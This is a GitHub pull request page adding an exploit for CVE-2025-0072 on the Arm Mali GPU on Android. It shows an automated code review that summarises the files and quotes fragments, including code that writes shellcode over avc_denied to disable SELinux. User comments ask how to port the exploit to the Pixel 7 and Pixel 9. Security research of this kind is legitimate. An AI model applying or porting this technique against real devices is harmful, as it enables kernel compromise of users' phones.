-
Notifications
You must be signed in to change notification settings - Fork 282
blog material #889
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
blog material #889
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pull Request Overview
This PR adds the exploit implementation for CVE-2025-0072 targeting the Arm Mali GPU on Android, including helper libraries, headers, and documentation.
- Introduces
mempool_utilsfor memory pool allocation and mapping. - Adds
mem_read_writemodules for GPU memory read/write via OpenCL. - Implements the main exploit logic in
mali_userio.cwith necessary UAPI headers and offsets. - Supplies logging utilities and a detailed README for build and usage.
Reviewed Changes
Copilot reviewed 13 out of 13 changed files in this pull request and generated 5 comments.
Show a summary per file
| File | Description |
|---|---|
| SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.h | Declares memory pool helper functions |
| SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.c | Implements allocation, reservation, mapping, release |
| SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.h | Declares OpenCL-based GPU read/write interfaces |
| SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.c | Implements read/write kernels and helpers |
| SecurityExploits/Android/Mali/CVE-2025-0072/mali_userio.c | Main exploit orchestration and SELinux bypass logic |
| SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_kernel.h | Arm Mali kernel UAPI definitions |
| SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_common_kernel.h | Common kernel flags and types |
| SecurityExploits/Android/Mali/CVE-2025-0072/log_utils.h | Logging macro for shell vs. Android environments |
| SecurityExploits/Android/Mali/CVE-2025-0072/firmware_offsets.h | Defines firmware symbol offsets |
| SecurityExploits/Android/Mali/CVE-2025-0072/README.md | Build instructions and usage documentation |
Comments suppressed due to low confidence (1)
SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.c:241
- [nitpick] Function 'releaseKernel' uses CamelCase while most other functions use snake_case. Consider renaming to 'release_kernel' for consistency.
void releaseKernel(struct rw_mem_kernel* kernel) {
| for (int i = 0; i < nents; i++) { | ||
| union kbase_ioctl_mem_alloc alloc = {0}; | ||
| alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; | ||
| int prot = PROT_READ | PROT_WRITE; |
Copilot
AI
May 23, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The variable 'prot' is assigned but never used. Consider removing it to avoid compiler warnings and improve clarity.
| int prot = PROT_READ | PROT_WRITE; |
| ret = clEnqueueWriteBuffer(command_queue, kernel->in_out, CL_TRUE, 0, sizeof(uint64_t), value, 0, NULL, NULL); | ||
| ret = clEnqueueWriteBuffer(command_queue, kernel->flag, CL_TRUE, 0, sizeof(uint64_t), &write, 0, NULL, NULL); | ||
|
|
||
| if (ret != CL_SUCCESS) { | ||
| err(1, "Failed to write to buffer\n"); |
Copilot
AI
May 23, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Each clEnqueueWriteBuffer call overwrites 'ret' without checking previous errors. You should check the return value after each call to ensure failures are caught immediately.
| ret = clEnqueueWriteBuffer(command_queue, kernel->in_out, CL_TRUE, 0, sizeof(uint64_t), value, 0, NULL, NULL); | |
| ret = clEnqueueWriteBuffer(command_queue, kernel->flag, CL_TRUE, 0, sizeof(uint64_t), &write, 0, NULL, NULL); | |
| if (ret != CL_SUCCESS) { | |
| err(1, "Failed to write to buffer\n"); | |
| if (ret != CL_SUCCESS) { | |
| err(1, "Failed to write to va buffer\n"); | |
| } | |
| ret = clEnqueueWriteBuffer(command_queue, kernel->in_out, CL_TRUE, 0, sizeof(uint64_t), value, 0, NULL, NULL); | |
| if (ret != CL_SUCCESS) { | |
| err(1, "Failed to write to in_out buffer\n"); | |
| } | |
| ret = clEnqueueWriteBuffer(command_queue, kernel->flag, CL_TRUE, 0, sizeof(uint64_t), &write, 0, NULL, NULL); | |
| if (ret != CL_SUCCESS) { | |
| err(1, "Failed to write to flag buffer\n"); |
| int test_fd = open("/dev/null", O_RDWR); | ||
| char file_path[256]; | ||
| char proc_string[256]; | ||
| for (int i = 3; i < test_fd; i++) { | ||
| sprintf(proc_string, "/proc/self/fd/%d", i); | ||
| if(readlink(proc_string, file_path, 256) > 0) { | ||
| if (strncmp(file_path, MALI, 10) == 0) { | ||
| close(test_fd); | ||
| return i; | ||
| } | ||
| } | ||
| } | ||
| close(test_fd); |
Copilot
AI
May 23, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Loop upper bound uses 'test_fd', which is the FD for /dev/null; this likely limits the search range incorrectly and may fail to find the Mali device. Consider scanning a fixed FD range or iterating over '/proc/self/fd/'.
| int test_fd = open("/dev/null", O_RDWR); | |
| char file_path[256]; | |
| char proc_string[256]; | |
| for (int i = 3; i < test_fd; i++) { | |
| sprintf(proc_string, "/proc/self/fd/%d", i); | |
| if(readlink(proc_string, file_path, 256) > 0) { | |
| if (strncmp(file_path, MALI, 10) == 0) { | |
| close(test_fd); | |
| return i; | |
| } | |
| } | |
| } | |
| close(test_fd); | |
| char file_path[256]; | |
| char proc_string[256]; | |
| DIR *dir = opendir("/proc/self/fd"); | |
| if (!dir) { | |
| err(1, "cannot open /proc/self/fd\n"); | |
| } | |
| struct dirent *entry; | |
| while ((entry = readdir(dir)) != NULL) { | |
| int fd = atoi(entry->d_name); | |
| if (fd < 3) { | |
| continue; // Skip standard input/output/error | |
| } | |
| sprintf(proc_string, "/proc/self/fd/%s", entry->d_name); | |
| if (readlink(proc_string, file_path, 256) > 0) { | |
| if (strncmp(file_path, MALI, 10) == 0) { | |
| closedir(dir); | |
| return fd; | |
| } | |
| } | |
| } | |
| closedir(dir); |
| //Go through the reserve pages addresses to write to avc_denied with our own shellcode | ||
| write_func(mali_fd, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t), RESERVED_SIZE, command_queue, kernel32); | ||
| //Triggers avc_denied to disable SELinux | ||
| open("/dev/kmsg", O_RDONLY); |
Copilot
AI
May 23, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This open call never closes the file descriptor, leading to a resource leak. Either close the descriptor or use a scoped file handle.
| open("/dev/kmsg", O_RDONLY); | |
| int fd = open("/dev/kmsg", O_RDONLY); | |
| if (fd != -1) { | |
| close(fd); | |
| } |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
offsets change but not working on pixel 7
Co-authored-by: Copilot <[email protected]>
|
How to make this exploit work on Pixel 9? I tried changing offsets but ended with result 49 |
@kevinbackhouse